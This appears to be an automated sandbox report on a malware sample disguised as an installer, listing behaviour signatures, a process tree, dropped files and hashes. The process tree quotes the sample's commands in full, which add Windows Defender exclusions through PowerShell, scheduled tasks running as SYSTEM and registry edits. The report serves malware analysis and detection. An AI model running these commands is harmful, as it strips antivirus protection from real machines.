Analysis

  • max time kernel
    150s
  • max time network
    117s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    27/10/2026, 23:45

General

  • Target
    install.3.1.02.exe
  • Size 32.4MB
  • Sample261027-3rx2wsxvgx
  • SHA256 ee732d2f6cb929ad5e35dcd8ad3f075f30227e55f1194e6fb02030faef04635b
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.3.1.02.exe
    "C:\Users\Admin\AppData\Local\Temp\install.3.1.02.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:4148
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:6112
    • C:\Users\Public\F3rjeF\df1mUg.exe
      "C:\Users\Public\F3rjeF\df1mUg.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:252
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of AdjustPrivilegeToken
        PID:908
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\F3rjeF\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
        2⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:3708
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\F3rjeF\" /t REG_DWORD /d 0 /f"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:6076
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Run /TN "Task1"
          3⤵
            PID:1864
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Delete /TN "Task1" /F
            3⤵
              PID:4824
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
            2⤵
            • Indicator Removal: Clear Persistence
            • Suspicious use of WriteProcessMemory
            PID:2008
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:876
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Run /TN "Task1"
              3⤵
                PID:832
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN "Task1" /F
                3⤵
                  PID:2396
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                2⤵
                • Indicator Removal: Clear Persistence
                • Suspicious use of WriteProcessMemory
                PID:3032
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:4144
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Run /TN "Task1"
                  3⤵
                    PID:3116
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Delete /TN "Task1" /F
                    3⤵
                      PID:3244
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                    2⤵
                    • Indicator Removal: Clear Persistence
                    • Suspicious use of WriteProcessMemory
                    PID:4596
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:2172
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Run /TN "Task1"
                      3⤵
                        PID:1792
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Delete /TN "Task1" /F
                        3⤵
                          PID:2568
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                        2⤵
                        • Indicator Removal: Clear Persistence
                        • Suspicious use of WriteProcessMemory
                        PID:3344
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                          3⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:4172
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Run /TN "Task1"
                          3⤵
                            PID:4752
                          • C:\Windows\system32\schtasks.exe
                            SCHTASKS /Delete /TN "Task1" /F
                            3⤵
                              PID:2984
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\F3rjeF" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4212
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\F3rjeF" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:912
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:5488
                          • C:\Users\Public\F3rjeF\df1mUg.exe
                            "C:\Users\Public\F3rjeF\df1mUg.exe"
                            1⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            PID:4224
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:2948
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:4564
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:1580
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:2748
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:6124
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:5932

                          Network

                                MITRE ATT&CK Enterprise v16

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                • Size 1KB
                                • SHA256 0fc02b2428a9f9c42265fc87a699e8b817b33e48b38f147d4cb9522f3c26c265
                                • MD5 SHA1 SHA512 TLSH

                                B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                • Size 1KB
                                • SHA256 468b1ab2aba4c5ee711030fd91f7c3e9786dc4a5c60380170c84875edde21fca
                                • MD5 SHA1 SHA512 TLSH

                                0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                • Size 512B
                                • SHA256 f2037a36c6f3c5b6e60f13906e296208d6d45ef2b23527cf140eef83bdd79a1a
                                • MD5 SHA1 SHA512 TLSH

                                B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                • Size 506B
                                • SHA256 8d117e4578265c14376fde3730d16a0cb4628ed6f6a35e7ba73c758f3d860b45
                                • MD5 SHA1 SHA512 TLSH

                                __PSScriptPolicyTest_cwtcfnla.sw3.ps1

                                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cwtcfnla.sw3.ps1
                                • Size 60B
                                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                • MD5 SHA1 SHA512 TLSH

                                UxEnhance64.dll

                                • Path C:\Users\Public\F3rjeF\UxEnhance64.dll
                                • Size 3.1MB
                                • SHA256 ee4cc13338d4318addfdd9081f2f6e7d27e850900bfc993322daab271bd877b8
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                adoresd.dat

                                • Path C:\Users\Public\F3rjeF\adoresd.dat
                                • Size 4.8MB
                                • SHA256 5dbb0d1bd6f0b26eb7d63926a23943048aaed6fcbc6372a498110f7e536f9ba6
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                df1mUg.exe

                                • Path C:\Users\Public\F3rjeF\df1mUg.exe
                                • Size 135KB
                                • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                msadox.tb

                                • Path C:\Users\Public\F3rjeF\msadox.tb
                                • Size 8KB
                                • SHA256 6e1215603e4a0c4d0ff936ecf477ccae92dc02316cdf9f6297083127abb8901d
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                memory/252-564-0x00000229D6300000-0x00000229D638A000-memory.dmp

                                memory/252-562-0x00000229D6300000-0x00000229D638A000-memory.dmp

                                memory/252-532-0x00007FFE11C50000-0x00007FFE11C52000-memory.dmp

                                memory/252-538-0x00000229D6D70000-0x00000229D7647000-memory.dmp

                                memory/252-540-0x00007FFE11C60000-0x00007FFE11C62000-memory.dmp

                                memory/252-541-0x00000229D6D70000-0x00000229D7647000-memory.dmp

                                memory/252-545-0x00000229D6D70000-0x00000229D7647000-memory.dmp

                                memory/252-546-0x00000229D6D70000-0x00000229D7647000-memory.dmp

                                memory/252-548-0x00000229D6D70000-0x00000229D7647000-memory.dmp

                                memory/252-547-0x00000229D6D70000-0x00000229D7647000-memory.dmp

                                memory/252-552-0x00000229D6D70000-0x00000229D7647000-memory.dmp

                                memory/252-609-0x00000229D6D70000-0x00000229D7647000-memory.dmp

                                memory/252-558-0x00000229D6D70000-0x00000229D7647000-memory.dmp

                                memory/252-533-0x00007FFDEF0D0000-0x00007FFDEF5EE000-memory.dmp

                                memory/252-563-0x00000229D6300000-0x00000229D638A000-memory.dmp

                                memory/252-561-0x00000229D6300000-0x00000229D638A000-memory.dmp

                                memory/252-560-0x00000229D49E0000-0x00000229D4A2E000-memory.dmp

                                memory/252-566-0x00000229D6D70000-0x00000229D7647000-memory.dmp

                                memory/252-567-0x00000229D6D70000-0x00000229D7647000-memory.dmp

                                memory/908-618-0x000002359BA70000-0x000002359BA7A000-memory.dmp

                                memory/908-617-0x000002359B8B0000-0x000002359B962000-memory.dmp

                                memory/908-616-0x000002359B880000-0x000002359B89E000-memory.dmp

                                memory/908-607-0x000002359B5E0000-0x000002359B602000-memory.dmp

                                memory/4148-526-0x0000000002010000-0x000000000201E000-memory.dmp

                                memory/4148-2-0x0000000002020000-0x000000000202C000-memory.dmp

                                memory/4148-1-0x0000000002010000-0x000000000201E000-memory.dmp

                                memory/4148-0-0x0000000002010000-0x000000000201E000-memory.dmp

                                memory/4148-527-0x00007FFE05D40000-0x00007FFE05D52000-memory.dmp

                                memory/4148-504-0x00007FFE05D40000-0x00007FFE05D52000-memory.dmp

                                memory/4224-597-0x000002487B5B0000-0x000002487BE87000-memory.dmp

                                memory/4224-583-0x000002487B5B0000-0x000002487BE87000-memory.dmp

                                memory/4224-599-0x00007FFE11C50000-0x00007FFE11C52000-memory.dmp

                                memory/4224-596-0x000002487B5B0000-0x000002487BE87000-memory.dmp

                                memory/4224-580-0x00007FFDEF0D0000-0x00007FFDEF5EE000-memory.dmp

                                memory/4224-598-0x000002487B5B0000-0x000002487BE87000-memory.dmp

                                memory/4224-591-0x000002487B5B0000-0x000002487BE87000-memory.dmp

                                memory/4224-595-0x000002487B5B0000-0x000002487BE87000-memory.dmp

                                memory/4224-590-0x00007FFE11C60000-0x00007FFE11C62000-memory.dmp